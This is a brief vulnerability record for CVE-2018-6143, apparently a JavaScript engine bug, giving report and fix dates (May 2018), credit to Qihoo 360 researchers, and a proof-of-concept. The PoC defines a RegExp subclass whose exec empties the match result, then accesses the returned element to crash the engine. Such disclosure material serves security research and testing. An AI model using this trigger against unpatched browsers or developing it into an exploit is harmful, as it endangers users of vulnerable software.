CVE-2018-6143.md

CVE-2018-6143

• Report: May 2018
• Fix: May 2018
• Credit: Guang Gong of Alpha Team, Qihoo 360

PoC

class MyRegExp extends RegExp {
  exec(str) {
    const r = super.exec.call(this, str);
    if (r) r.length=0;
    return r;
  }
}
const result = 'a'.match(new MyRegExp('.', 'g'));
var crash = result[0].x;

Reference

• Issue